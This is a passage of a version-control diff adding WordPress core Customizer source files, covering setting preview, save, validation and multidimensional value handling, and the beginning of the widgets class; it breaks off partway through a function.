+		$multidimensional_filter = array( $this, '_multidimensional_preview_filter' );
+
+		/*
+		 * Check if the setting has a pre-existing value (an isset check),
+		 * and if doesn't have any incoming post value. If both checks are true,
+		 * then the preview short-circuits because there is nothing that needs
+		 * to be previewed.
+		 */
+		$undefined = new stdClass();
+		$needs_preview = ( $undefined !== $this->post_value( $undefined ) );
+		$value = null;
+
+		// Since no post value was defined, check if we have an initial value set.
+		if ( ! $needs_preview ) {
+			if ( $this->is_multidimensional_aggregated ) {
+				$root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'];
+				$value = $this->multidimensional_get( $root, $this->id_data['keys'], $undefined );
+			} else {
+				$default = $this->default;
+				$this->default = $undefined; // Temporarily set default to undefined so we can detect if existing value is set.
+				$value = $this->value();
+				$this->default = $default;
+			}
+			$needs_preview = ( $undefined === $value ); // Because the default needs to be supplied.
+		}
+
+		// If the setting does not need previewing now, defer to when it has a value to preview.
+		if ( ! $needs_preview ) {
+			if ( ! has_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ) ) {
+				add_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) );
+			}
+			return false;
+		}
+
+		switch ( $this->type ) {
+			case 'theme_mod' :
+				if ( ! $is_multidimensional ) {
+					add_filter( "theme_mod_{$id_base}", array( $this, '_preview_filter' ) );
+				} else {
+					if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) {
+						// Only add this filter once for this ID base.
+						add_filter( "theme_mod_{$id_base}", $multidimensional_filter );
+					}
+					self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this;
+				}
+				break;
+			case 'option' :
+				if ( ! $is_multidimensional ) {
+					add_filter( "pre_option_{$id_base}", array( $this, '_preview_filter' ) );
+				} else {
+					if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) {
+						// Only add these filters once for this ID base.
+						add_filter( "option_{$id_base}", $multidimensional_filter );
+						add_filter( "default_option_{$id_base}", $multidimensional_filter );
+					}
+					self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this;
+				}
+				break;
+			default :
+
+				/**
+				 * Fires when the WP_Customize_Setting::preview() method is called for settings
+				 * not handled as theme_mods or options.
+				 *
+				 * The dynamic portion of the hook name, `$this->id`, refers to the setting ID.
+				 *
+				 * @since 3.4.0
+				 *
+				 * @param WP_Customize_Setting $this WP_Customize_Setting instance.
+				 */
+				do_action( "customize_preview_{$this->id}", $this );
+
+				/**
+				 * Fires when the WP_Customize_Setting::preview() method is called for settings
+				 * not handled as theme_mods or options.
+				 *
+				 * The dynamic portion of the hook name, `$this->type`, refers to the setting type.
+				 *
+				 * @since 4.1.0
+				 *
+				 * @param WP_Customize_Setting $this WP_Customize_Setting instance.
+				 */
+				do_action( "customize_preview_{$this->type}", $this );
+		}
+
+		$this->is_previewed = true;
+
+		return true;
+	}
+
+	/**
+	 * Clear out the previewed-applied flag for a multidimensional-aggregated value whenever its post value is updated.
+	 *
+	 * This ensures that the new value will get sanitized and used the next time
+	 * that `WP_Customize_Setting::_multidimensional_preview_filter()`
+	 * is called for this setting.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see WP_Customize_Manager::set_post_value()
+	 * @see WP_Customize_Setting::_multidimensional_preview_filter()
+	 */
+	final public function _clear_aggregated_multidimensional_preview_applied_flag() {
+		unset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['preview_applied_instances'][ $this->id ] );
+	}
+
+	/**
+	 * Callback function to filter non-multidimensional theme mods and options.
+	 *
+	 * If switch_to_blog() was called after the preview() method, and the current
+	 * site is now not the same site, then this method does a no-op and returns
+	 * the original value.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $original Old value.
+	 * @return mixed New or old value.
+	 */
+	public function _preview_filter( $original ) {
+		if ( ! $this->is_current_blog_previewed() ) {
+			return $original;
+		}
+
+		$undefined = new stdClass(); // Symbol hack.
+		$post_value = $this->post_value( $undefined );
+		if ( $undefined !== $post_value ) {
+			$value = $post_value;
+		} else {
+			/*
+			 * Note that we don't use $original here because preview() will
+			 * not add the filter in the first place if it has an initial value
+			 * and there is no post value.
+			 */
+			$value = $this->default;
+		}
+		return $value;
+	}
+
+	/**
+	 * Callback function to filter multidimensional theme mods and options.
+	 *
+	 * For all multidimensional settings of a given type, the preview filter for
+	 * the first setting previewed will be used to apply the values for the others.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see WP_Customize_Setting::$aggregated_multidimensionals
+	 * @param mixed $original Original root value.
+	 * @return mixed New or old value.
+	 */
+	final public function _multidimensional_preview_filter( $original ) {
+		if ( ! $this->is_current_blog_previewed() ) {
+			return $original;
+		}
+
+		$id_base = $this->id_data['base'];
+
+		// If no settings have been previewed yet (which should not be the case, since $this is), just pass through the original value.
+		if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) {
+			return $original;
+		}
+
+		foreach ( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] as $previewed_setting ) {
+			// Skip applying previewed value for any settings that have already been applied.
+			if ( ! empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] ) ) {
+				continue;
+			}
+
+			// Do the replacements of the posted/default sub value into the root value.
+			$value = $previewed_setting->post_value( $previewed_setting->default );
+			$root = self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value'];
+			$root = $previewed_setting->multidimensional_replace( $root, $previewed_setting->id_data['keys'], $value );
+			self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value'] = $root;
+
+			// Mark this setting having been applied so that it will be skipped when the filter is called again.
+			self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] = true;
+		}
+
+		return self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'];
+	}
+
+	/**
+	 * Checks user capabilities and theme supports, and then saves
+	 * the value of the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return false|void False if cap check fails or value isn't set or is invalid.
+	 */
+	final public function save() {
+		$value = $this->post_value();
+
+		if ( ! $this->check_capabilities() || ! isset( $value ) ) {
+			return false;
+		}
+
+		$id_base = $this->id_data['base'];
+
+		/**
+		 * Fires when the WP_Customize_Setting::save() method is called.
+		 *
+		 * The dynamic portion of the hook name, `$id_base` refers to
+		 * the base slug of the setting name.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Setting $this WP_Customize_Setting instance.
+		 */
+		do_action( "customize_save_{$id_base}", $this );
+
+		$this->update( $value );
+	}
+
+	/**
+	 * Fetch and sanitize the $_POST value for the setting.
+	 *
+	 * During a save request prior to save, post_value() provides the new value while value() does not.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $default A default value which is used as a fallback. Default is null.
+	 * @return mixed The default value on failure, otherwise the sanitized and validated value.
+	 */
+	final public function post_value( $default = null ) {
+		return $this->manager->post_value( $this, $default );
+	}
+
+	/**
+	 * Sanitize an input.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string|array $value    The value to sanitize.
+	 * @return string|array|null|WP_Error Sanitized value, or `null`/`WP_Error` if invalid.
+	 */
+	public function sanitize( $value ) {
+
+		/**
+		 * Filters a Customize setting value in un-slashed form.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param mixed                $value Value of the setting.
+		 * @param WP_Customize_Setting $this  WP_Customize_Setting instance.
+		 */
+		return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
+	}
+
+	/**
+	 * Validates an input.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @see WP_REST_Request::has_valid_params()
+	 *
+	 * @param mixed $value Value to validate.
+	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
+	 */
+	public function validate( $value ) {
+		if ( is_wp_error( $value ) ) {
+			return $value;
+		}
+		if ( is_null( $value ) ) {
+			return new WP_Error( 'invalid_value', __( 'Invalid value.' ) );
+		}
+
+		$validity = new WP_Error();
+
+		/**
+		 * Validates a Customize setting value.
+		 *
+		 * Plugins should amend the `$validity` object via its `WP_Error::add()` method.
+		 *
+		 * The dynamic portion of the hook name, `$this->ID`, refers to the setting ID.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param WP_Error             $validity Filtered from `true` to `WP_Error` when invalid.
+		 * @param mixed                $value    Value of the setting.
+		 * @param WP_Customize_Setting $this     WP_Customize_Setting instance.
+		 */
+		$validity = apply_filters( "customize_validate_{$this->id}", $validity, $value, $this );
+
+		if ( is_wp_error( $validity ) && empty( $validity->errors ) ) {
+			$validity = true;
+		}
+		return $validity;
+	}
+
+	/**
+	 * Get the root value for a setting, especially for multidimensional ones.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param mixed $default Value to return if root does not exist.
+	 * @return mixed
+	 */
+	protected function get_root_value( $default = null ) {
+		$id_base = $this->id_data['base'];
+		if ( 'option' === $this->type ) {
+			return get_option( $id_base, $default );
+		} elseif ( 'theme_mod' === $this->type ) {
+			return get_theme_mod( $id_base, $default );
+		} else {
+			/*
+			 * Any WP_Customize_Setting subclass implementing aggregate multidimensional
+			 * will need to override this method to obtain the data from the appropriate
+			 * location.
+			 */
+			return $default;
+		}
+	}
+
+	/**
+	 * Set the root value for a setting, especially for multidimensional ones.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param mixed $value Value to set as root of multidimensional setting.
+	 * @return bool Whether the multidimensional root was updated successfully.
+	 */
+	protected function set_root_value( $value ) {
+		$id_base = $this->id_data['base'];
+		if ( 'option' === $this->type ) {
+			$autoload = true;
+			if ( isset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] ) ) {
+				$autoload = self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'];
+			}
+			return update_option( $id_base, $value, $autoload );
+		} elseif ( 'theme_mod' === $this->type ) {
+			set_theme_mod( $id_base, $value );
+			return true;
+		} else {
+			/*
+			 * Any WP_Customize_Setting subclass implementing aggregate multidimensional
+			 * will need to override this method to obtain the data from the appropriate
+			 * location.
+			 */
+			return false;
+		}
+	}
+
+	/**
+	 * Save the value of the setting, using the related API.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $value The value to update.
+	 * @return bool The result of saving the value.
+	 */
+	protected function update( $value ) {
+		$id_base = $this->id_data['base'];
+		if ( 'option' === $this->type || 'theme_mod' === $this->type ) {
+			if ( ! $this->is_multidimensional_aggregated ) {
+				return $this->set_root_value( $value );
+			} else {
+				$root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'];
+				$root = $this->multidimensional_replace( $root, $this->id_data['keys'], $value );
+				self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'] = $root;
+				return $this->set_root_value( $root );
+			}
+		} else {
+			/**
+			 * Fires when the WP_Customize_Setting::update() method is called for settings
+			 * not handled as theme_mods or options.
+			 *
+			 * The dynamic portion of the hook name, `$this->type`, refers to the type of setting.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param mixed                $value Value of the setting.
+			 * @param WP_Customize_Setting $this  WP_Customize_Setting instance.
+			 */
+			do_action( "customize_update_{$this->type}", $value, $this );
+
+			return has_action( "customize_update_{$this->type}" );
+		}
+	}
+
+	/**
+	 * Deprecated method.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.4.0 Deprecated in favor of update() method.
+	 */
+	protected function _update_theme_mod() {
+		_deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' );
+	}
+
+	/**
+	 * Deprecated method.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.4.0 Deprecated in favor of update() method.
+	 */
+	protected function _update_option() {
+		_deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' );
+	}
+
+	/**
+	 * Fetch the value of the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return mixed The value.
+	 */
+	public function value() {
+		$id_base = $this->id_data['base'];
+		$is_core_type = ( 'option' === $this->type || 'theme_mod' === $this->type );
+
+		if ( ! $is_core_type && ! $this->is_multidimensional_aggregated ) {
+
+			// Use post value if previewed and a post value is present.
+			if ( $this->is_previewed ) {
+				$value = $this->post_value( null );
+				if ( null !== $value ) {
+					return $value;
+				}
+			}
+
+			$value = $this->get_root_value( $this->default );
+
+			/**
+			 * Filters a Customize setting value not handled as a theme_mod or option.
+			 *
+			 * The dynamic portion of the hook name, `$id_base`, refers to
+			 * the base slug of the setting name, initialized from `$this->id_data['base']`.
+			 *
+			 * For settings handled as theme_mods or options, see those corresponding
+			 * functions for available hooks.
+			 *
+			 * @since 3.4.0
+			 * @since 4.6.0 Added the `$this` setting instance as the second parameter.
+			 *
+			 * @param mixed                $default The setting default value. Default empty.
+			 * @param WP_Customize_Setting $this    The setting instance.
+			 */
+			$value = apply_filters( "customize_value_{$id_base}", $value, $this );
+		} elseif ( $this->is_multidimensional_aggregated ) {
+			$root_value = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'];
+			$value = $this->multidimensional_get( $root_value, $this->id_data['keys'], $this->default );
+
+			// Ensure that the post value is used if the setting is previewed, since preview filters aren't applying on cached $root_value.
+			if ( $this->is_previewed ) {
+				$value = $this->post_value( $value );
+			}
+		} else {
+			$value = $this->get_root_value( $this->default );
+		}
+		return $value;
+	}
+
+	/**
+	 * Sanitize the setting's value for use in JavaScript.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return mixed The requested escaped value.
+	 */
+	public function js_value() {
+
+		/**
+		 * Filters a Customize setting value for use in JavaScript.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to the setting ID.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param mixed                $value The setting value.
+		 * @param WP_Customize_Setting $this  WP_Customize_Setting instance.
+		 */
+		$value = apply_filters( "customize_sanitize_js_{$this->id}", $this->value(), $this );
+
+		if ( is_string( $value ) )
+			return html_entity_decode( $value, ENT_QUOTES, 'UTF-8');
+
+		return $value;
+	}
+
+	/**
+	 * Retrieves the data to export to the client via JSON.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array Array of parameters passed to JavaScript.
+	 */
+	public function json() {
+		return array(
+			'value'     => $this->js_value(),
+			'transport' => $this->transport,
+			'dirty'     => $this->dirty,
+			'type'      => $this->type,
+		);
+	}
+
+	/**
+	 * Validate user capabilities whether the theme supports the setting.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool False if theme doesn't support the setting or user can't change setting, otherwise true.
+	 */
+	final public function check_capabilities() {
+		if ( $this->capability && ! call_user_func_array( 'current_user_can', (array) $this->capability ) )
+			return false;
+
+		if ( $this->theme_supports && ! call_user_func_array( 'current_theme_supports', (array) $this->theme_supports ) )
+			return false;
+
+		return true;
+	}
+
+	/**
+	 * Multidimensional helper function.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @param bool $create Default is false.
+	 * @return array|void Keys are 'root', 'node', and 'key'.
+	 */
+	final protected function multidimensional( &$root, $keys, $create = false ) {
+		if ( $create && empty( $root ) )
+			$root = array();
+
+		if ( ! isset( $root ) || empty( $keys ) )
+			return;
+
+		$last = array_pop( $keys );
+		$node = &$root;
+
+		foreach ( $keys as $key ) {
+			if ( $create && ! isset( $node[ $key ] ) )
+				$node[ $key ] = array();
+
+			if ( ! is_array( $node ) || ! isset( $node[ $key ] ) )
+				return;
+
+			$node = &$node[ $key ];
+		}
+
+		if ( $create ) {
+			if ( ! is_array( $node ) ) {
+				// account for an array overriding a string or object value
+				$node = array();
+			}
+			if ( ! isset( $node[ $last ] ) ) {
+				$node[ $last ] = array();
+			}
+		}
+
+		if ( ! isset( $node[ $last ] ) )
+			return;
+
+		return array(
+			'root' => &$root,
+			'node' => &$node,
+			'key'  => $last,
+		);
+	}
+
+	/**
+	 * Will attempt to replace a specific value in a multidimensional array.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @param mixed $value The value to update.
+	 * @return mixed
+	 */
+	final protected function multidimensional_replace( $root, $keys, $value ) {
+		if ( ! isset( $value ) )
+			return $root;
+		elseif ( empty( $keys ) ) // If there are no keys, we're replacing the root.
+			return $value;
+
+		$result = $this->multidimensional( $root, $keys, true );
+
+		if ( isset( $result ) )
+			$result['node'][ $result['key'] ] = $value;
+
+		return $root;
+	}
+
+	/**
+	 * Will attempt to fetch a specific value from a multidimensional array.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @param mixed $default A default value which is used as a fallback. Default is null.
+	 * @return mixed The requested value or the default value.
+	 */
+	final protected function multidimensional_get( $root, $keys, $default = null ) {
+		if ( empty( $keys ) ) // If there are no keys, test the root.
+			return isset( $root ) ? $root : $default;
+
+		$result = $this->multidimensional( $root, $keys );
+		return isset( $result ) ? $result['node'][ $result['key'] ] : $default;
+	}
+
+	/**
+	 * Will attempt to check if a specific value in a multidimensional array is set.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $root
+	 * @param $keys
+	 * @return bool True if value is set, false if not.
+	 */
+	final protected function multidimensional_isset( $root, $keys ) {
+		$result = $this->multidimensional_get( $root, $keys );
+		return isset( $result );
+	}
+}
+
+/**
+ * WP_Customize_Filter_Setting class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php' );
+
+/**
+ * WP_Customize_Header_Image_Setting class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php' );
+
+/**
+ * WP_Customize_Background_Image_Setting class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Item_Setting class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Setting class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php' );
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-widgets.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-widgets.php	(revision 56912)
@@ -0,0 +1,2029 @@
+<?php
+/**
+ * WordPress Customize Widgets classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.9.0
+ */
+
+/**
+ * Customize Widgets class.
+ *
+ * Implements widget management in the Customizer.
+ *
+ * @since 3.9.0
+ *
+ * @see WP_Customize_Manager
+ */
+final class WP_Customize_Widgets {
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 3.9.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * All id_bases for widgets defined in core.
+	 *
+	 * @since 3.9.0
+	 * @var array
+	 */
+	protected $core_widget_id_bases = array(
+		'archives',
+		'calendar',
+		'categories',
+		'custom_html',
+		'links',
+		'media_audio',
+		'media_image',
+		'media_video',
+		'meta',
+		'nav_menu',
+		'pages',
+		'recent-comments',
+		'recent-posts',
+		'rss',
+		'search',
+		'tag_cloud',
+		'text',
+	);
+
+	/**
+	 * @since 3.9.0
+	 * @var array
+	 */
+	protected $rendered_sidebars = array();
+
+	/**
+	 * @since 3.9.0
+	 * @var array
+	 */
+	protected $rendered_widgets = array();
+
+	/**
+	 * @since 3.9.0
+	 * @var array
+	 */
+	protected $old_sidebars_widgets = array();
+
+	/**
+	 * Mapping of widget ID base to whether it supports selective refresh.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $selective_refreshable_widgets;
+
+	/**
+	 * Mapping of setting type to setting ID pattern.
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	protected $setting_id_patterns = array(
+		'widget_instance' => '/^widget_(?P<id_base>.+?)(?:\[(?P<widget_number>\d+)\])?$/',
+		'sidebar_widgets' => '/^sidebars_widgets\[(?P<sidebar_id>.+?)\]$/',
+	);
+
+	/**
+	 * Initial loader.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param WP_Customize_Manager $manager Customize manager bootstrap instance.
+	 */
+	public function __construct( $manager ) {
+		$this->manager = $manager;
+
+		// See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L420-L449
+		add_filter( 'customize_dynamic_setting_args',          array( $this, 'filter_customize_dynamic_setting_args' ), 10, 2 );
+		add_action( 'widgets_init',                            array( $this, 'register_settings' ), 95 );
+		add_action( 'customize_register',                      array( $this, 'schedule_customize_register' ), 1 );
+
+		// Skip remaining hooks when the user can't manage widgets anyway.
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			return;
+		}
+
+		add_action( 'wp_loaded',                               array( $this, 'override_sidebars_widgets_for_theme_switch' ) );
+		add_action( 'customize_controls_init',                 array( $this, 'customize_controls_init' ) );
+		add_action( 'customize_controls_enqueue_scripts',      array( $this, 'enqueue_scripts' ) );
+		add_action( 'customize_controls_print_styles',         array( $this, 'print_styles' ) );
+		add_action( 'customize_controls_print_scripts',        array( $this, 'print_scripts' ) );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_footer_scripts' ) );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'output_widget_control_templates' ) );
+		add_action( 'customize_preview_init',                  array( $this, 'customize_preview_init' ) );
+		add_filter( 'customize_refresh_nonces',                array( $this, 'refresh_nonces' ) );
+
+		add_action( 'dynamic_sidebar',                         array( $this, 'tally_rendered_widgets' ) );
+		add_filter( 'is_active_sidebar',                       array( $this, 'tally_sidebars_via_is_active_sidebar_calls' ), 10, 2 );
+		add_filter( 'dynamic_sidebar_has_widgets',             array( $this, 'tally_sidebars_via_dynamic_sidebar_calls' ), 10, 2 );
+
+		// Selective Refresh.
+		add_filter( 'customize_dynamic_partial_args',          array( $this, 'customize_dynamic_partial_args' ), 10, 2 );
+		add_action( 'customize_preview_init',                  array( $this, 'selective_refresh_init' ) );
+	}
+
+	/**
+	 * List whether each registered widget can be use selective refresh.
+	 *
+	 * If the theme does not support the customize-selective-refresh-widgets feature,
+	 * then this will always return an empty array.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @global WP_Widget_Factory $wp_widget_factory
+	 *
+	 * @return array Mapping of id_base to support. If theme doesn't support
+	 *               selective refresh, an empty array is returned.
+	 */
+	public function get_selective_refreshable_widgets() {
+		global $wp_widget_factory;
+		if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) {
+			return array();
+		}
+		if ( ! isset( $this->selective_refreshable_widgets ) ) {
+			$this->selective_refreshable_widgets = array();
+			foreach ( $wp_widget_factory->widgets as $wp_widget ) {
+				$this->selective_refreshable_widgets[ $wp_widget->id_base ] = ! empty( $wp_widget->widget_options['customize_selective_refresh'] );
+			}
+		}
+		return $this->selective_refreshable_widgets;
+	}
+
+	/**
+	 * Determines if a widget supports selective refresh.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $id_base Widget ID Base.
+	 * @return bool Whether the widget can be selective refreshed.
+	 */
+	public function is_widget_selective_refreshable( $id_base ) {
+		$selective_refreshable_widgets = $this->get_selective_refreshable_widgets();
+		return ! empty( $selective_refreshable_widgets[ $id_base ] );
+	}
+
+	/**
+	 * Retrieves the widget setting type given a setting ID.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @staticvar array $cache
+	 *
+	 * @param string $setting_id Setting ID.
+	 * @return string|void Setting type.
+	 */
+	protected function get_setting_type( $setting_id ) {
+		static $cache = array();
+		if ( isset( $cache[ $setting_id ] ) ) {
+			return $cache[ $setting_id ];
+		}
+		foreach ( $this->setting_id_patterns as $type => $pattern ) {
+			if ( preg_match( $pattern, $setting_id ) ) {
+				$cache[ $setting_id ] = $type;
+				return $type;
+			}
+		}
+	}
+
+	/**
+	 * Inspects the incoming customized data for any widget settings, and dynamically adds
+	 * them up-front so widgets will be initialized properly.
+	 *
+	 * @since 4.2.0
+	 */
+	public function register_settings() {
+		$widget_setting_ids = array();
+		$incoming_setting_ids = array_keys( $this->manager->unsanitized_post_values() );
+		foreach ( $incoming_setting_ids as $setting_id ) {
+			if ( ! is_null( $this->get_setting_type( $setting_id ) ) ) {
+				$widget_setting_ids[] = $setting_id;
+			}
+		}
+		if ( $this->manager->doing_ajax( 'update-widget' ) && isset( $_REQUEST['widget-id'] ) ) {
+			$widget_setting_ids[] = $this->get_setting_id( wp_unslash( $_REQUEST['widget-id'] ) );
+		}
+
+		$settings = $this->manager->add_dynamic_settings( array_unique( $widget_setting_ids ) );
+
+		if ( $this->manager->settings_previewed() ) {
+			foreach ( $settings as $setting ) {
+				$setting->preview();
+			}
+		}
+	}
+
+	/**
+	 * Determines the arguments for a dynamically-created setting.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param false|array $args       The arguments to the WP_Customize_Setting constructor.
+	 * @param string      $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
+	 * @return false|array Setting arguments, false otherwise.
+	 */
+	public function filter_customize_dynamic_setting_args( $args, $setting_id ) {
+		if ( $this->get_setting_type( $setting_id ) ) {
+			$args = $this->get_setting_args( $setting_id );
+		}
+		return $args;
+	}
+
+	/**
+	 * Retrieves an unslashed post value or return a default.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param string $name    Post value.
+	 * @param mixed  $default Default post value.
+	 * @return mixed Unslashed post value or default value.
+	 */
+	protected function get_post_value( $name, $default = null ) {
+		if ( ! isset( $_POST[ $name ] ) ) {
+			return $default;
+		}
+
+		return wp_unslash( $_POST[ $name ] );
+	}
+
+	/**
+	 * Override sidebars_widgets for theme switch.
+	 *
+	 * When switching a theme via the Customizer, supply any previously-configured
+	 * sidebars_widgets from the target theme as the initial sidebars_widgets
+	 * setting. Also store the old theme's existing settings so that they can
+	 * be passed along for storing in the sidebars_widgets theme_mod when the
+	 * theme gets switched.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global array $sidebars_widgets
+	 * @global array $_wp_sidebars_widgets
+	 */
+	public function override_sidebars_widgets_for_theme_switch() {
+		global $sidebars_widgets;
+
+		if ( $this->manager->doing_ajax() || $this->manager->is_theme_active() ) {
+			return;
+		}
+
+		$this->old_sidebars_widgets = wp_get_sidebars_widgets();
+		add_filter( 'customize_value_old_sidebars_widgets_data', array( $this, 'filter_customize_value_old_sidebars_widgets_data' ) );
+		$this->manager->set_post_value( 'old_sidebars_widgets_data', $this->old_sidebars_widgets ); // Override any value cached in changeset.
+
+		// retrieve_widgets() looks at the global $sidebars_widgets
+		$sidebars_widgets = $this->old_sidebars_widgets;
+		$sidebars_widgets = retrieve_widgets( 'customize' );
+		add_filter( 'option_sidebars_widgets', array( $this, 'filter_option_sidebars_widgets_for_theme_switch' ), 1 );
+		// reset global cache var used by wp_get_sidebars_widgets()
+		unset( $GLOBALS['_wp_sidebars_widgets'] );
+	}
+
+	/**
+	 * Filters old_sidebars_widgets_data Customizer setting.
+	 *
+	 * When switching themes, filter the Customizer setting old_sidebars_widgets_data
+	 * to supply initial $sidebars_widgets before they were overridden by retrieve_widgets().
+	 * The value for old_sidebars_widgets_data gets set in the old theme's sidebars_widgets
+	 * theme_mod.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @see WP_Customize_Widgets::handle_theme_switch()
+	 *
+	 * @param array $old_sidebars_widgets
+	 * @return array
+	 */
+	public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) {
+		return $this->old_sidebars_widgets;
+	}
+
+	/**
+	 * Filters sidebars_widgets option for theme switch.
+	 *
+	 * When switching themes, the retrieve_widgets() function is run when the Customizer initializes,
+	 * and then the new sidebars_widgets here get supplied as the default value for the sidebars_widgets
+	 * option.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @see WP_Customize_Widgets::handle_theme_switch()
+	 * @global array $sidebars_widgets
+	 *
+	 * @param array $sidebars_widgets
+	 * @return array
+	 */
+	public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) {
+		$sidebars_widgets = $GLOBALS['sidebars_widgets'];
+		$sidebars_widgets['array_version'] = 3;
+		return $sidebars_widgets;
+	}
+
+	/**
+	 * Ensures all widgets get loaded into the Customizer.
+	 *
+	 * Note: these actions are also fired in wp_ajax_update_widget().
+	 *
+	 * @since 3.9.0
+	 */
+	public function customize_controls_init() {
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'load-widgets.php' );
+
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'widgets.php' );
+
+		/** This action is documented in wp-admin/widgets.php */
+		do_action( 'sidebar_admin_setup' );
+	}
+
+	/**
+	 * Ensures widgets are available for all types of previews.
+	 *
+	 * When in preview, hook to {@see 'customize_register'} for settings after WordPress is loaded
+	 * so that all filters have been initialized (e.g. Widget Visibility).
+	 *
+	 * @since 3.9.0
+	 */
+	public function schedule_customize_register() {
+		if ( is_admin() ) {
+			$this->customize_register();
+		} else {
+			add_action( 'wp', array( $this, 'customize_register' ) );
+		}
+	}
+
+	/**
+	 * Registers Customizer settings and controls for all sidebars and widgets.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @global array $wp_registered_widgets
+	 * @global array $wp_registered_widget_controls
+	 * @global array $wp_registered_sidebars
+	 */
+	public function customize_register() {
+		global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars;
+
+		add_filter( 'sidebars_widgets', array( $this, 'preview_sidebars_widgets' ), 1 );
+
+		$sidebars_widgets = array_merge(
+			array( 'wp_inactive_widgets' => array() ),
+			array_fill_keys( array_keys( $wp_registered_sidebars ), array() ),
+			wp_get_sidebars_widgets()
+		);
+
